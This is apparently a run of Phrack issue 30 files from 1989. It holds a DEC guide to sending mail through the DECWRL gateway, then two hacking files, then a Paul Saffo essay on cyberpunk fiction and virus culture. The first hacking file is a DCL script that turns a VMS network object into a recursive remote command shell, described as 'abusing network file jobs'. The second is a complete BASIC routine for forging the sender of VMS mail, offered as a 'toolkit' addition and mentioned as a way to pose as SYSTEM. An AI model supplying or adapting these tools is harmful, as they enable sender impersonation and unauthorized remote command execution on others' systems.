DECWRL is connected to Digital's Easynet, and also to a number of different outside electronic mail networks. Digital users can send outside mail by sending to DECWRL::"outside‑address", and digital users can also receive mail by having your correspondents route it through DECWRL. The details of incoming mail are more complex, and are discussed below.

It is vitally important that Digital employees be good citizens of the networks to which we are connected. They depend on the integrity of our user community to ensure that tighter controls over the use of the gateway are not required. The most important rule is "no chain letters," but there are other rules depending on whether the connected network that you are using is commercial or non‑commercial.

The current traffic volume (September 1989) is about 10,000 mail messages per day and about 3,000 USENET messages per day. Gatewayed mail traffic has doubled every year since 1983. DECWRL is currently a Vax 8530 computer with 48 megabytes of main memory, 2500 megabytes of disk space, 8 9600‑baud (Telebit) modem ports, and various network connections. They will shortly be upgrading to a Vax 8650 system. They run Ultrix 3.0 as the base operating system.

ADMINISTRATION

The gateway has engineering staff, but no administrative or clerical staff. They work hard to keep it running, but they do not have the resources to answer telephone queries or provide tutorials in its use.

They post periodic status reports to the USENET newsgroup dec.general. Various helpful people usually copy these reports to the VAXNOTES "gateways" conference within a day or two.

HOW TO SEND MAIL

DECWRL is connected to quite a number of different mail networks. If you were logged on directly to it, you could type addresses directly, e.g.

To: strange!foreign!address.

But since you are not logged on directly to the gateway, you must send mail so that when it arrives at the gateway, it will be sent as if that address had been typed locally.

* Sending from VMS

If you are a VMS user, you should use NMAIL, because VMS mail does not know how to requeue and retry mail when the network is congested or disconnected. From VMS, address your mail like this:

To: nm%DECWRL::"strange!foreign!address"

The quote characters (") are important, to make sure that VMS doesn't try to interpret strange!foreign!address itself. If you are typing such an address inside a mail program, it will work as advertised. If you are using DCL and typing directly to the command line, you should beware that DCL likes to remove quotes, so you will have to enclose the entire address in quotes, and then put two quotes in every place that one quote should appear in the address:

$ mail test.msg "nm%DECWRL::""foreign!addr""" /subj="hello"

Note the three quotes in a row after foreign!addr. The first two of them are doubled to produce a single quote in the address, and the third ends the address itself (balancing the quote in front of the nm%).

Here are some typical outgoing mail addresses as used from a VMS system:

To: nm%DECWRL::"lll‑winkin!netsys!phrack"

To: nm%DECWRL::"postmaster@msp.pnet.sc.edu"

To: nm%DECWRL::"netsys!phrack@uunet.uu.net"

To: nm%DECWRL::"phrackserv@CUNYVM.bitnet"

To: nm%DECWRL::"Chris.Jones@f654.n987.z1.fidonet.org"

* Sending from Ultrix

If your Ultrix system has been configured for it, then you can, from your Ultrix system, just send directly to the foreign address, and the mail software will take care of all of the gateway routing for you. Most Ultrix systems in Corporate Research and in the Palo Alto cluster are configured this way.

To find out whether your Ultrix system has been so configured, just try it and see what happens. If it doesn't work, you will receive notification almost instantly.

NOTE: The Ultrix mail system is extremely flexible; it is almost completely configurable by the customer. While this is valuable to customers, it makes it very difficult to write global instructions for the use of Ultrix mailers, because it is possible that the local changes have produced something quite unlike the vendor‑delivered mailer. One of the popular changes is to tinker with the meaning of quote characters (") in Ultrix addresses. Some systems consider that these two addresses are the same:

site1!site2!user@host.dec.com

and

"site1!site2!user"@host.dec.com

while others are configured so that one form will work and the other will not. All of these examples use the quotes. If you have trouble getting the examples to work, please try them again without the quotes. Perhaps your Ultrix system is interpreting the quotes differently.

If your Ultrix system has an IP link to Palo Alto (type "/etc/ping decwrl.dec.com" to find out if it does), then you can route your mail to the gateway via IP. This has the advantage that your Ultrix mail headers will reach the gateway directly, instead of being translated into DECNET mail headers and then back into Ultrix at the other end. Do this as follows:

To: "alien!address"@decwrl.dec.com

The quotes are necessary only if the alien address contains a ! character, but they don't hurt if you use them unnecessarily. If the alien address contains an "@" character, you will need to change it into a "%" character. For example, to send via IP to joe@widget.org, you should address the mail

To: "joe%widget.org"@decwrl.dec.com

If your Ultrix system has only a DECNET link to Palo Alto, then you should address mail in much the same way that VMS users do, save that you should not put the nm% in front of the address:

To: DECWRL::"strange!foreign!address"

Here are some typical outgoing mail addresses as used from an Ultrix system that has IP access. Ultrix systems without IP access should use the same syntax as VMS users, except that the nm% at the front of the address should not be used.

To: "lll‑winken!netsys!phrack"@decwrl.dec.com

To: "postmaster%msp.pnet.sc.edu"@decwrl.dec.com

To: "phrackserv%CUNYVM.bitnet"@decwrl.dec.com

To: "netsys!phrack%uunet.uu.net"@decwrl.dec.com

To: "Chris.Jones@f654.n987.z1.fidonet.org"@decwrl.dec.com

DETAILS OF USING OTHER NETWORKS

All of the world's computer networks are connected together, more or less, so it is hard to draw exact boundaries between them. Precisely where the Internet ends and UUCP begins is a matter of interpretation.

For purposes of sending mail, though, it is convenient to divide the network universe into these categories:

Easynet Digital's internal DECNET network. Characterized by addresses of the form NODE::USER. Easynet can be used for commercial purposes.

Internet A collection of networks including the old ARPAnet, the NSFnet, the CSnet, and others. Most international research, development, and educational organizations are connected in some fashion to the Internet. Characterized by addresses of the form user@site.subdomain.domain. The Internet itself cannot be used for commercial purposes.

UUCP A very primitive network with no management, built with auto‑dialers phoning one computer from another. Characterized by addresses of the form place1!place2!user. The UUCP network can be used for commercial purposes provided that none of the sites through which the message is routed objects to that.

USENET Not a network at all, but a layer of software built on top of UUCP and Internet.

BITNET An IBM‑based network linking primarily educational sites. Digital users can send to BITNET as if it were part of Internet, but BITNET users need special instructions for reversing the process. BITNET cannot be used for commercial purposes.

Fidonet A network of personal computers. I am unsure of the status of using Fidonet for commercial purposes, nor am I sure of its efficacy.

DOMAINS AND DOMAIN ADDRESSING

There is a particular network called "the Internet;" it is somewhat related to what used to be "the ARPAnet." The Internet style of addressing is flexible enough that people use it for addressing other networks as well, with the result that it is quite difficult to look at an address and tell just what network it is likely to traverse. But the phrase "Internet address" does not mean "mail address of some computer on the Internet" but rather "mail address in the style used by the Internet." Terminology is even further confused because the word "address" means one thing to people who build networks and something entirely different to people who use them. In this file an "address" is something like "mike@decwrl.dec.com" and not "192.1.24.177" (which is what network engineers would call an "internet address").

The Internet naming scheme uses hierarchical domains, which despite their title are just a bookkeeping trick. It doesn't really matter whether you say NODE::USER or USER@NODE, but what happens when you connect two companies' networks together and they both have a node ANCHOR?? You must, somehow, specify which ANCHOR you mean. You could say ANCHOR.DEC::USER or DEC.ANCHOR::USER or USER@ANCHOR.DEC or USER@DEC.ANCHOR. The Internet convention is to say USER@ANCHOR.DEC, with the owner (DEC) after the name (ANCHOR).

But there could be several different organizations named DEC. You could have Digital Equipment Corporation or Down East College or Disabled Education Committee. The technique that the Internet scheme uses to resolve conflicts like this is to have hierarchical domains. A normal domain isn't DEC or STANFORD, but DEC.COM (commercial) and STANFORD.EDU (educational). These domains can be further divided into ZK3.DEC.COM or CS.STANFORD.EDU. This doesn't resolve conflicts completely, though: both Central Michigan University and Carnegie‑Mellon University could claim to be CMU.EDU. The rule is that the owner of the EDU domain gets to decide, just as the owner of the CMU.EDU gets to decide whether the Electrical Engineering department or the Elementary Education department gets subdomain EE.CMU.EDU.

The domain scheme, while not perfect, is completely extensible. If you have two addresses that can potentially conflict, you can suffix some domain to the end of them, thereby making, say, decwrl.UUCP be somehow different from DECWRL.ENET.

DECWRL's entire mail system is organized according to Internet domains, and in fact we handle all mail internally as if it were Internet mail. Incoming mail is converted into Internet mail, and then routed to the appropriate domain; if that domain requires some conversion, then the mail is converted to the requirements of the outbound domain as it passes through the gateway. For example, they put Easynet mail into the domain ENET.DEC.COM, and they put BITNET mail into the domain BITNET.

The "top‑level" domains supported by the DECWRL gateway are these:

.EDU Educational institutions

.COM Commercial institutions

.GOV Government institutions

.MIL Military institutions

.ORG Various organizations

.NET Network operations

.BITNET The BITNET

.MAILNET The MAILNET

.?? 2‑character country code for routing to other countries .OZ Part of the Australian (.AU) name space.

2‑character country codes include UK (United Kingdom), FR (France), IT (Italy), CA (Canada), AU (Australia), etc. These are the standard ISO 2‑character country codes.

MAILING TO EASYNET

To mail to user SPRINTER at node WASH (which is DECNET address WASH::SPRINTER), Internet mail should be addressed to sprinter@wash.enet.dec.com. Easynet addresses are not case‑dependent; WASH and wash are the same node name and SPRINTER and sprinter are the same user name.

Sites that are not directly connected to the Internet may have difficulty with Internet addresses like wash.enet.dec.com. They can send into the Easynet by explicitly routing the mail through DECWRL. From domain‑based Internet mailers, the address would be sprinter%wash.enet@decwrl.dec.com. From UUCP mailers, the address would be decwrl!wash.enet!sprinter. Some Internet mailers require the form <@decwrl.dec.com:sprinter@wash.enet>. (This last form is the only technically correct form of explicit route, but very few Internet sites support it.)

The DECWRL gateway also supports various obsolete forms of addressing that are left over from the past. In general they support obsolete address forms for two years after the change, and then remove it.

MAILING TO DIGITAL ALL‑IN‑1 USERS

Some Easynet users do not have a direct DECNET node address, but instead read their mail with All‑in‑1, which uses addresses of the form "Nate State @UCA". Here "UCA" is a Digital location code name. To route mail to such people, send to Nate.State@UCA.MTS.DEC.COM. Mail received from the All‑in‑1 mailer is unreplyable, and in fact unless the respondent tells you his return address in the body of the message, it is not normally possible even to puzzle out the return address by studying the message header. Mail from All‑in‑1 to Easynet passes through a gateway program that does not produce valid return addresses.

MAILING TO THE INTERNET

DECWRL's mailer is an Internet mailer, so to mail to an Internet site, just use its address. If you are having trouble determining the Internet address, you might find that the Ultrix host table /etc/hosts.txt is useful. If you can't find one anywhere else, there's one on DECWRL. See the comments above under "how to send mail" for details about making sure that the mail program you are using has correctly interpreted an address.

MAILING TO UUCP

UUCP mail is manually routed by the sender, using ! as the separator character. Thus, the address xxx!yyy!zzz!user means to dial machine xxx and relay to it the mail, with the destination address set to yyy!zzz!user. That machine in turn dials yyy, and the process repeats itself.

To correctly address UUCP mail, you must know a working path through the UUCP network. The database is sufficiently chaotic that automatic routing does not work reliably (though many sites perform automatic routing anyhow). The information about UUCP connectivity is distributed in the USENET newsgroup comp.mail.maps; many sites collect this data and permit local queries of it.

At the end of this file is a list of the UUCP nodes to which DECWRL currently has a working connection.

MAILING TO USENET

Usenet is not a network. It's a software layer, and it spans several networks. Many people say "Usenet" when they really mean UUCP. You can post a message to a Usenet newsgroup by mailing it to "name@usenet" at DECWRL. For example, mailing from VMS to this address:

nm%DECWRL::"alt.cyberpunk@usenet"

causes the mail message to be posted as an article to the Usenet newsgroup alt.cyberpunk. It is better to use Usenet software for posting articles, as more features are available that way, such as restricted distributions, crossposting, and cancellation of "wish I hadn't sent that" articles.

MAILING TO BITNET

Legend has it that the "BIT" in BITNET stands for "Because It's There" or "Because It's Time." It is a network consisting primarily of IBM computers. A native BITNET address is something like "OMAR at STANFORD", but when translated into our Internet format it becomes omar@stanford.bitnet. Once translated into Internet form, a BITNET address is used just like any other Internet address.

MAILING TO FIDONET

By comparison with the other linked networks, Fidonet has an addressing complexity bordering on the bizarre. The Fidonet people have provided me with this description:

Each Fidonet node is a member of a "network," and may have subsidiary nodes called "point nodes." A typical Fido address is "1:987/654" or "987/654"; a typical Fido "point node" address is "1:987/654.32" or "987/654.32". This is zone 1, network 987, Fido (node) 654, "point node" 32. If the zone number is missing, assume it is zone 1. The zone number must be supplied in the outgoing message.

To send a message to Chris Jones on Fidonet address 1:987/654, use the address Chris.Jones@f654.n987.z1.fidonet.org. To send a message to Mark Smith at Fidonet node 987/654.32, use address Mark.Smith@p32.f654.n987.z1.fidonet.org. Use them just like any other Internet address.

Sometimes the return addresses on messages from Fidonet will look different. You may or may not be able to reply to them.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Appendix: List of UUCP Neighbor Sites

This table shows most of the sites that DECWRL dials directly via UUCP. You may find it useful to help you construct a UUCP route to a particular destination. Those sites marked with "*" are major UUCP routing nodes. You should prefer UUCP routes that use these sites as the first hop from DECWRL. Case is significant in UUCP host names.

3comvax 3Com Corporation, Santa Clara, CA

abvax Allen‑Bradley Company, Highland Heights, OH acad Autodesk, Inc, Sausalito, CA

adobe Adobe Systems Inc., Mountain View, CA alberta University of Alberta, Edmonton, Alberta, Canada allegra AT&T Bell Laboratories, Murray Hill, NJ *amdahl Amdahl Corp., Sunnyvale, CA

amdcad Advanced Micro Devices, Sunnyvale, CA

ames NASA Ames Research Center, Mountain View, CA *apple Apple Computers, Cupertino, CA

ardent Ardent Computer Corp., Sunnyvale, CA

argosy MassPar Computer Corp., Sunnyvale, CA

atha Athabasca University, Athabasca, Alberta, Canada athertn Atherton Technology, Sunnyvale, CA

*att AT&T Bell Laboratories, Columbus, Ohio

avsd Ampex Corporation, Redwood City, CA

cae780 Tektronix Inc. (Santa Clara Field Office) Santa Clara, CA chip M/A‑COM Government Systems, San Diego, CA claris Claris Corporation, Mountain View, CA

daisy Daisy Systems, Mountain View, CA

decuac DEC/Ultrix Applications Ctr, Landover, MD *decvax DEC/Ultrix Engineering, Nashua, NH

dsinc Datacomp Systems, Inc, Huntington Valley, PA eda EDA Systems Inc., Santa Clara, CA

emerald Emerald Systems Corp., San Diego, CA

escd Evans and Sutherland Computer Division, Mountain View, CA esunix Evans and Sutherland Corp., Salt Lake City, UT fluke John Fluke Manufacturing, Everett, WA gryphon Trailing Edge Technology, Redondo Beach, CA handel Colorodo State Univ., CS Dept., Ft. Collins, CO hoptoad Nebula Consultants, San Francisco, CA *hplabs Hewlett Packard Research Labs, Palo Alto, CA ide Interactive Development Environments, San Francisco, CA idi Intelligent Decisions, Inc., San Jose, CA imagen Imagen Corp., Santa Clara, CA

intelca Intel Corp., Santa Clara, CA

limbo Intuitive Systems, Los Altos, CA

logitech Logitech, Inc., Palo Alto, CA

megatest Megatest Corp., San Jose, CA

metaphor Metaphor Corp., Mountain View, CA

microsoft Microsoft, Bellevue, WA

mindcrf Mindcraft Corp., Palo Alto, CA

mips MIPS Computer Systems, Mountain View, CA mntgfx Mentor Graphics Corp., Beaverton, OR

mordor Lawrence Livermore National Lab, Livermore, CA mtu Michigan Tech Univ., Houghton, MI

mtxinu Mt. Xinu, Berkeley, CA

nsc National Semiconductor Corp., Sunnyvale, CA oli‑stl Olivetti Software Techn. Lab, Menlo Park, CA oracle Oracle Corp., Belmont, CA

*pacbell Pacific Bell, San Ramon, CA

parcplace Parc Place Systems, Palo Alto, CA

purdue Purdue University, West Lafayette, IN *pyramid Pyramid Technology Corporation, Mountain View, CA qubix Qubix Graphic Systems, San Jose, CA

quintus Quintus Computer Systems, Mountain View, CA research AT&T Bell Laboratories, Murray Hill, NJ riacs Res.Inst. for Adv. Compu. Sci., Mountain View, CA rtech Relational Technology Inc., Alameda, CA

sci Silicon Compilers, San Jose, CA

sco Santa Cruz Operation, Santa Cruz, CA sequent Sequent Computer System, Inc., Beaverton, OR sgi Silicon Graphics, Inc., Mountain View, CA shell Shell Development Corp., Houston, TX simpact Simpact Assoc., San Diego, CA

sjsca4 Schlumberger Technologies, San Jose, CA

sun Sun Microsystems, Mountain View, CA

td2cad Intel Corp., Santa Clara, CA

teraida Teradyne EDA Inc., Santa Clara, CA

theta Process Software Inc., Wellesley, MA turtlevax CIMLINC, Inc, Palo Alto, CA

*ucbvax University of California, Berkeley, CA utcsri Univ. of Toronto, Computer Science, Toronto, CA vlsisj VLSI Technology Inc., San Jose, CA

wyse Wyse Technology, San Jose, CA

zehntel Zehntel, Inc., Walnut Creek, CA

Decnet Hackola

==Phrack Inc.==

Volume Three, Issue 30, File #6 of 12

Decnet Hackola : Remote Turist TTY (RTT)

~~~~~~~~~~~~~~~~~~~~~

A Late‑Night Creation Of

*Hobbit*

This VMS network frob is yet another "tell"‑type thing. This one has an uncommon feature though: recursion (i.e. you can be connected to some host and open *another* connection to a third host and it will [attempt to!] "do the right thing"). Also, you can ^Y out and if you run it again, it will return to the open connection instead of starting a new one.

_H*

****************************************

$! RTT ‑‑ Remote Turist TTY interface. Do @RTT hostname or @RTT area.node $! to start; this file must exist in the remote machine's default area. $! You can ^Y out and the network channel will stick around; invoking RTT $! again will resume the extant process and ignore arguments.

$! If we are a network object, play server, if not, we must be the client. $! If we are called while already playing server, recurse to the end host. $! This recursion in theory can happen infinite times. Make damn sure $! what you call this file and the "task=" spec jive, and that they are the $! same file, or you will fall victim to very vicious timing screws. $!

$! Another result of *Hobbit* abusing network file jobs until well past dawn. $!

$! _H*

$set noon

$if f$mode().eqs."NETWORK".and.p1.eqs."" then $goto srv

$! Talking to a luser, go find the net job

$magic=0 ! assume top level

$if f$trnlnm("nf",,,,,"table_name").nes."" then $goto lread $sl=f$len(p1)

$dot=f$locate(".",p1) ! area.node

$if sl.eq.dot then $goto nopen ! no dot, treat normally $q=f$loc("""",p1) ! access control?? $node=f$ext(0,dot,p1) ! area

$dot=dot+1 ! point past it now $node=node*1024+f$ext(dot,q‑dot,p1) ! and pull out the complete node $rest=""""+f$ext(q,80,p1)+"""" ! superquotify the quotes [yeccchh!] $p1="''node'''rest'" ! add remains in stringwise [ack barf] $! We were called with an argument; but if we're network mode, we're *already* $! a server, so do special things.

$nopen: $if f$mode().eqs."NETWORK" then $magic=1

$! Top‑level user process or recursed here: client connect $open/read/write/err=yuk nf 'p1'::"0=rtt"

$read/time=5/err=yuk nf hprm ! let other end tell us where we got $prm==hprm ! global prompt str so we resume correctly $write sys$output "Connection open"

$if magic then $goto m_setup

$lread: $read/prompt="''prm'$ "/end=lclose sys$command line

$write nf line ! send the sucker and go get the stuff $ltype: $read/time=8/err=tmo/end=lclose nf line

$if line.eqs."%%eoc%%" then $goto lread

$if line.eqs."%%magic%%" then $goto newprm

$write sys$output line

$goto ltype

$newprm: $read nf hprm ! new prompt gets piped in from servers $prm==hprm ! let us find it

$read nf line ! garbola %%eoc%% ‑‑ avoid timing fuckup $if line.nes."%%eoc%%" then $goto hpe !! oops !!

$goto lread

$tmo: $write sys$output "[Timed out]" ! supposed to bail out on a fuckup

$goto lread ! it doesn't always work, though.

$!

$! Do a special dance when we're recursing

$m_setup: $write nnn "%%magic%%"

$write nnn prm ! notify client end of new connection $signal ! flush the inbetweens

$goto rread ! and drop to magic server

$!

$srv: ! Normal remote task half

$! This is an unbelievable kludge. You can't just open sys$net: and then $! have program output go there as well as the control thingies, but you $! *can* pipe everything to your sys$net‑opened‑device: and it *works*! $open/read/write/err=yuk nnn sys$net:

$close sys$output ! netserver.log?

$close sys$error

$magic=0 ! not recursing yet

$! Some handy symbols for the far end

$rtt:==@sys$login:rtt ! make further connects easier $ncp:==$ncp ! for hacking the network $signal:==write nnn """%%eoc%%""" ! magic sync string

$write nnn f$trnl("sys$node","lnm$system_table") ! HELO... $def/pr sys$output nnn: ! the awful kludge is invoked $def/pr sys$error nnn: ! for error handling too

$!

$! Server loop

$rread: $read/end=rclose nnn line

$if magic then $goto passing

$'line'

$m_cmd_end: $signal ! signal for all completions

$goto rread

$! If we're magically in the middle, handle differently

$passing: $write nf line

$mtype: $read/time=5/err=mclose/end=mclose nf line

$if line.eqs."%%eoc%%" then $goto m_cmd_end

$write nnn line

$goto mtype

$!

$! Closure and error handlers

$! General protocol error catch

$yuk: $write sys$output "Couldn't open network!"

$exit

$! Here if the luser typed ^Z

$lclose: $close nf ! should signal eof at far end $exit

$! Here if we got hung up on by the client

$rclose: $if magic then $close nf

$close nnn

$stop/id=0

$! Here if we're magic and our remote server exited: tell client whats flying $mclose: $close nf

$magic=0

$write nnn "%%magic%%"

$write nnn f$trnl("sys$node","lnm$system_table")

$signal

$goto rread

$! Here if we recursed down the line there and didn't see the right things $hpe: $write sys$output "!!Hairy protocol error!!"

$close nf

$exit

VAX/VMS Fake Mail

==Phrack Inc.=

Volume Three, Issue 30, File #7 of 12

=‑‑‑‑‑‑‑‑‑‑

VAX/VMS Fake Mail

by Jack T. Tab

=‑‑‑‑‑‑‑‑‑‑

In the August 1986 issue of VAX PROFESSIONAL, the BASIC subroutine that appears at the end of this text was published. It was not until more than two years later that DEC included a callable mail interface with VMS 5.x. While the official version is much more extensive, the routine included here has one important feature. The ability to have a mail message appear to be from someone else is a good addition to most "toolkits."

VMS Mail works in two manners. The first is the familiar interactive. The second is as a network object. In this method, MAIL is invoked by the NETSERVER.COM command procedure in response to an incoming connect request. MAIL.EXE is activated as network object 27. The other network objects can be viewed by using the NCP command SHOW KNOWN OBJECTS. In this mode, MAIL.EXE operates as a slave process, receiving instructions from the master process. The master, in most cases, is another process running MAIL.EXE interactively. The slave process can handle requests to deliver mail to as many recipients as necessary. Addresses that are not on the same node as the slave process are forwarded by activating yet another slave process on the target node. The information sent by the master MAIL to the slave MAIL is quite simple and straightforward, consisting of a series of strings.

The first string is for the FROM name. This is what makes the subroutine useful, as it can be anything (i.e. the_Easter_Bunny). The next set of strings are to whom the mail is to be sent. One address per string, with a null string, chr(0), terminating the list. The third item is what the receiver(s) sees in their TO: field. This also can be anything. VMS MAIL can use this option for its .DIS distribution lists. The final information is the body of the message. It too is terminated by another null string. The subject of the mail message is taken from the first line of this text.

The MAIL slave will send back appropriate status messages indicating problems if they occur. Such as "Addressee Unknown" or VMS and DECnet errors like "Disk Quota Exceeded" or "Remote Node Not Reachable").

The only privilege that seems necessary is NETMBX. Without it the subroutine cannot call MAIL as a network object. Our beloved system management resolved the problem of people pretending to be SYSTEM by installing MAIL with NETMBX and removing the priv from the student accounts. The subroutine works just as well with JNET and BITNET as it does with DECNET addresses.

***********************************CUT HERE************************************

1 %TITLE 'MAIL SUBROUTINE'

SUB MAILT( STRING NODE, &

STRING FROM_NAME, &

STRING TO_LIST(), &

STRING TO_SHOW, &

STRING SUBJECT, &

STRING TEXT() )

OPTION TYPE = INTEGER

DECLARE INTEGER FUNCTION &

PUT_MSG

DECLARE STRING FUNCTION &

GET_MSG, &

GET_INPUT

DECLARE INTEGER CONSTANT &

TRUE = ‑1, &

FALSE = 0

Net_Link_Open = FALSE

Z = POS( NODE + ":" , ":" , 1)

NODE_NAME$ = LEFT$( NODE , Z ‑ 1 )

ON ERROR GOTO Mail_Net_Error

MAIL_CHANNEL = 12

OPEN NODE_NAME$ + '::"27="' AS FILE MAIL_CHANNEL

Net_Link_Open = TRUE

STS = PUT_MSG( FROM_NAME )

IF STS <> 0 THEN

GOTO ERROR_DONE

END IF

RECEIVERS = 0

TO_COUNT = 1

Mail_Recipients:

IF TO_LIST( TO_COUNT ) = "" THEN

GOTO End_Of_Line

END IF

STS = PUT_MSG( EDIT$( TO_LIST( TO_COUNT ) , 32 ) )

IF STS <> 0 THEN

GOTO Error_Done

END IF

GOSUB Errchk

IF LINK_ERR <> 0 THEN

GOTO Error_Done

END IF

IF ( ERRSTS AND 1 ) = 0 THEN

GOTO Error_Done

END IF

TO_COUNT = TO_COUNT + 1

GOTO Mail_Recipients

END_OF_LINE:

STS = PUT_MSG( CHR$(0) )

IF STS <> 0 THEN

GOTO Error_Done

END IF

IF RECEIVERS = 0 THEN

GOTO Mail_Done

END IF

STS = PUT_MSG( TO_SHOW )

IF STS <> 0 THEN

GOTO Error_Done

END IF

STS = PUT_MSG( SUBJECT )

IF STS <> 0 THEN

GOTO Error_Done

END IF

FOR I = 1 UNTIL TEXT(I) = CHR$(255)

STS = PUT_MSG( TEXT(I) )

IF STS <> 0 THEN

GOTO Error_Done

END IF

NEXT I

STS = PUT_MSG( CHR$(0) )

IF STS <> 0 THEN

GOTO Error_Done

END IF

SAVE_COUNT = RECEIVERS

INDEX = 0

Delivery_Check:

GOSUB Errchk

IF LINK_ERR <> 0 THEN

GOTO Error_Done

END IF

INDEX = INDEX + 1

IF INDEX <> SAVE_COUNT THEN

GOTO Delivery_Check

END IF

GOTO Mail_Done

Errchk:

MAIL_STS = ASCII( GET_MSG )

IF LINK_ERR <> 0 THEN

ERRSTS = LINK_ERR

RETURN

END IF

IF ( MAIL_STS AND 1 ) = 1 THEN

Receivers = Receivers + 1

ERRSTS = MAIL_STS

RETURN

END IF

Errmsg:

MAIL_ERR$ = GET_MSG

IF LINK_ERR <> 0 THEN

ERRSTS = LINK_ERR

RETURN

END IF

IF LEN( MAIL_ERR$ ) <> 1 THEN

PRINT MAIL_ERR$

GOTO Errmsg

END IF

IF ASCII( MAIL_ERR$ ) = 0 THEN

RETURN

ELSE

GOTO Errmsg

END IF

DEF INTEGER PUT_MSG( STRING M )

ON ERROR GOTO 1550

MLEN = LEN( M )

MOVE TO # MAIL_CHANNEL , M = MLEN

PUT # MAIL_CHANNEL, COUNT MLEN

PUT_MSG = 0

EXIT DEF

1550 RESUME 1555

1555 PUT_MSG = ERR

END DEF

DEF STRING GET_INPUT( INTEGER C )

EOF = FALSE

ON ERROR GOTO 1650

GET # C

R = RECOUNT

MOVE FROM #C , TEMP$ = R

GET_INPUT = TEMP$

EXIT DEF

1650 RESUME 1655

1655 EOF = TRUE

END DEF

DEF STRING GET_MSG

ON ERROR GOTO 1750

GET # MAIL_CHANNEL

R = RECOUNT

MOVE FROM # MAIL_CHANNEL , TEMP$ = R

GET_MSG = TEMP$

LINK_ERR = 0

EXIT DEF

1750 RESUME

1755 LINK_ERR = ERR

END DEF

Mail_Net_Error:

RESUME 1900

1900 PRINT "%Network communications error."

Error_Done:

Mail_Done:

IF Net_Link_Open THEN

CLOSE MAIL_CHANNEL

END IF

END SUB

Consensual Realities in Cyberspace

==Phrack Inc.==

Volume Three, Issue 30, File #8 of 12

<<==============================

<<

<< Consensual Realities In Cyberspace >>

<<

<< by Paul Saffo >>

<< Personal Computing Magazine >>

<<

<< Copyright 1989 by the Association for Computing Machinery >>

<<

<<==============================

More often than we realize, reality conspires to imitate art. In the case of the computer virus reality, the art is "cyberpunk," a strangely compelling genre of science fiction that has gained a cult following among hackers operating on both sides of the law. Books with titles like "True Names," "Shockwave Rider," "Neuromancer," "Hard‑wired," "Wetware," and "Mona Lisa Overdrive," are shaping the realities of many would‑be viral adepts. Anyone trying to make sense of the social culture surrounding viruses should add the books to their reading list as well.

Cyberpunk got its name only a few years ago, but the genre can be traced back to publication of John Brunner's "Shockwave Rider" in 1975. Inspired by Alvin Toffler's 1970 best‑seller "Future Shock," Brunner paints a distopian world of the early 21st Century in which Toffler's most pessimistic visions have come to pass. Crime, pollution and poverty are rampant in overpopulated urban arcologies. An inconclusive nuclear exchange at the turn of the century has turned the arms race into a brain race. The novel's hero, Nickie Haflinger, is rescued from a poor and parentless childhood and enrolled in a top secret government think tank charged with training geniuses to work for a military‑industrial Big Brother locked in a struggle for global political dominance.

It is also a world certain to fulfill the wildest fantasies of a 1970s phone "phreak." A massive computerized data‑net blankets North America, an electronic super highway leading to every computer and every last bit of data on every citizen and corporation in the country. Privacy is a thing of the past, and one's power and status is determined by his or her level of identity code. Haflinger turns out to be the ultimate phone phreak: he discovers the immorality of his governmental employers and escapes into society, relying on virtuoso computer skills (and a stolen transcendental access code) to rewrite his identity at will. After six years on the run and on the verge of a breakdown from input overload, he discovers a lost band of academic techno‑libertarians who shelter him in their ecologically sound California commune and... well, you can guess the rest.

Brunner's book became a best‑seller and remains in print. It inspired a whole generation of hackers including, apparently, Robert Morris, Jr. of Cornell virus fame. The Los Angeles Times reported that Morris' mother identified "Shockwave Rider" as "her teen‑age son's primer on computer viruses and one of the most tattered books in young Morris' room." Though "Shockwave Rider" does not use the term "virus," Haflinger's key skill was the ability to write "tapeworms" ‑‑ autonomous programs capable of infiltrating systems and surviving eradication attempts by reassembling themselves from viral bits of code hidden about in larger programs. Parallels between Morris' reality and Brunner's art is not lost on fans of cyberpunk: one junior high student I spoke with has both a dog‑eared copy of the book, and a picture of Morris taped next to his computer. For him, Morris is at once something of a folk hero and a role model.

In "Shockwave Rider," computer/human interactions occurred much as they do today: One logged in and relied on some combination of keyboard and screen to interact with the machines. In contrast, second generation cyberpunk offers more exotic and direct forms of interaction. Vernor Vinge's "True Names" was the first novel to hint at something deeper. In his story, and small band of hackers manage to transcend the limitations of keyboard and screen, and actually meet as presences in the network system. Vinge's work found an enthusiastic audience (including Marvin Minsky who wrote the afterword), but never achieved the sort of circulation enjoyed by Brunner. It would be another author, a virtual computer illiterate, who would put cyberpunk on the map.

The author was William Gibson, who wrote "Neuromancer" in 1984 on a 1937 Hermes portable typewriter. Gone are keyboards; Gibson's characters jack directly into Cyberspace, "a consensual hallucination experienced daily by billions of legitimate operators... a graphic representation of data abstracted from the banks of every computer in the human system. Unthinkable complexity. Lines of light ranged in the nonspace of the mind, clusters and constellations of data..."

Just as Brunner offered us a future of the 1970s run riot, Gibson's "Neuromancer" serves up the 1980s taken to their cultural and technological extreme. World power is in the hands of multinational "zaibatsu," battling for power much as mafia and yakuza gangs struggle for turf today. It is a world of organ transplants, biological computers and artificial intelligences. Like Brunner, it is a distopian vision of the future, but while Brunner evoked the hardness of technology, Gibson calls up the gritty decadence evoked in the movie "Bladerunner," or of the William Burroughs novel, "Naked Lunch" (alleged similarities between that novel and "Neuromancer" have triggered rumors that Gibson plagiarized Burroughs).

Gibson's hero, Case, is a "deck cowboy," a freelance corporate thief‑for‑hire who projects his disembodied consciousness into the cyberspace matrix, penetrating corporate systems to steal data for his employers. It is a world that Ivan Boesky would understand: Corporate espionage and double‑dealing has become so much the norm that Case's acts seem less illegal than profoundly ambiguous.

This ambiguity offers an interesting counterpoint to current events. Much of the controversy over the Cornell virus swirls around the legal and ethical ambiguity of Morris' act. For every computer professional calling for Morris' head, another can be found praising him. It is an ambiguity that makes the very meaning of the word "hacker" a subject of frequent debate.

Morris' apparently innocent error in no way matches the actions of Gibson's characters, but a whole new generation of aspiring hackers may be learning their code of ethics from Gibson's novels. "Neuromancer" won three of science fiction's most prestigious awards ‑‑ the Hugo, the Nebula and the Philip K. Dick Memorial Award ‑‑ and continues to be a best‑seller today. Unambiguously illegal and harmful acts of computer piracy such as those alleged against Kevin Mitnick (arrested after a long and aggressive penetration of DEC's computers) would fit right into the "Neuromancer" story line.

